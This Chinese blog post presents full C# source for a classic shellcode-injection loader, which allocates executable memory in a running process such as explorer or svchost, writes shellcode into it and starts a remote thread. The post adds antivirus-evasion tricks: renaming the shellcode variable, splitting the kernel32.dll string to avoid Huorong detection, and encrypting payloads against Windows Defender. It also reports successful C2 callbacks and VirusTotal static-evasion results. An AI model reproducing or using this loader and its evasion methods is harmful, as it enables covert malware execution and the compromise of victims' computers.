ShellCode注入

本文提取上篇说到的经典注入技术。

传送门:https://blog.axzzsec.com/archives/csharp-acpinject

ClassicInject

shellcode经典注入,这种技术实现原理为:在目标进程中分配内存,注入shellcode并启动一个新线程。

然后在测试该方法时,刚开始不能正常上线,找半天原因没找到所以放弃了,然后今天无聊继续测试了一下,发现正常上线了,但是编译后复制到物理机上面,发现火绒把它杀了,一脸懵,后来测试发现,火绒查杀机制有点傻傻的感觉,它杀 shellcode 这个关键字,因为我直接定义了一个shellcode的变量,再编译,火绒就给我杀了,我将shellcode这个变量名改成了其他的,就不杀。

实现过程

  • 为shellcode申请并分配内存

IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)strCode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
  • 将shellcode写入到内存中

WriteProcessMemory(target.Handle, pAddr, strCode, strCode.Length, out IntPtr lpNumberOfBytesWritten);
  • 创建一个远程线程

IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);

### 问题

Windows Defender还是要杀shellcode,可以考虑直接接受加密后的shellcode。

该图上线的是我安装了火绒的物理机,在火绒运行的情况下正常上线。

上线条件:还是需要一个正常已经启用了的进程名称,比如explorer进程,svchost等进程。

最终代码

Classic.cs : 该文件包含了加载函数,主函数,以及shellcode进行base64编码的函数;

 c#

using System;

using System.IO;

using static ClassicInject.Func;

namespace ClassicInject

{

    class Classic

    {

        static string Base64strCode(string strCodePath)

        {

            byte[] code = File.ReadAllBytes(strCodePath);

            string base64Code = Convert.ToBase64String(code);

            return base64Code;

        }

        static void Main(string[] args)

        {

            if (args.Length == 2)

            {

                string target = args[0];

                string strCodePath = args[1];

                System.Diagnostics.Process target1 = null;

                System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName(target);

                target1 = processes[0];

                ClassicFun(target1, strCodePath);

                //Process target = Process.GetProcessesByName(args[0])[0];

                //APCInjectFunNo(target, args[1]);

            }

            else

            {

                Console.WriteLine("ClassicInject.exe [process name] [bin path]");

            }

        }

        static void ClassicFun(System.Diagnostics.Process target, string strCodePath)

        {

            byte[] strCode = Convert.FromBase64String(Base64strCode(strCodePath));

            // allocate some memory for our strCode

            IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)strCode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);

            // write the strCode into the allocated memory

            WriteProcessMemory(target.Handle, pAddr, strCode, strCode.Length, out IntPtr lpNumberOfBytesWritten);

            // create the remote thread

            IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);

        }

    }

}

Func.cs: 该文件包含了加载函数所需的库引用,所需的方法等。

c#

using System;

using System.Runtime.InteropServices;

namespace ClassicInject

{

    internal class Func

    {

        const string dllname1 = "kern";

        const string dllname2 = "el32.d";

        const string dllname3 = "ll";

        [DllImport(dllname1+ dllname2+ dllname3, SetLastError = true, ExactSpelling = true)]

        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport(dllname1 + dllname2 + dllname3)]

        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport(dllname1 + dllname2 + dllname3)]

        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]

        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, ThreadCreationFlags dwCreationFlags, out IntPtr lpThreadId);

        [Flags]

		public enum AllocationType

		{

			NULL = 0x0,

			Commit = 0x1000,

			Reserve = 0x2000,

			Decommit = 0x4000,

			Release = 0x8000,

			Reset = 0x80000,

			Physical = 0x400000,

			TopDown = 0x100000,

			WriteWatch = 0x200000,

			LargePages = 0x20000000

		}

        public enum MemoryProtection : UInt32

        {

            PAGE_EXECUTE = 0x00000010,

            PAGE_EXECUTE_READ = 0x00000020,

            PAGE_EXECUTE_READWRITE = 0x00000040,

            PAGE_EXECUTE_WRITECOPY = 0x00000080,

            PAGE_NOACCESS = 0x00000001,

            PAGE_READONLY = 0x00000002,

            PAGE_READWRITE = 0x00000004,

            PAGE_WRITECOPY = 0x00000008,

            PAGE_GUARD = 0x00000100,

            PAGE_NOCACHE = 0x00000200,

            PAGE_WRITECOMBINE = 0x00000400

        }

        public enum ThreadCreationFlags : UInt32

        {

            NORMAL = 0x0,

            CREATE_SUSPENDED = 0x00000004,

            STACK_SIZE_PARAM_IS_A_RESERVATION = 0x00010000

        }

    }

}

可以将两个文件稍微处理下合并到一起,因为分开只是为了我方便看的,然后直接编译即可。

免杀效果

火绒,肯定免杀了。

VT平台测试效果:

马马虎虎,还凑活,但是这个仅限于静态免杀,动态未测试。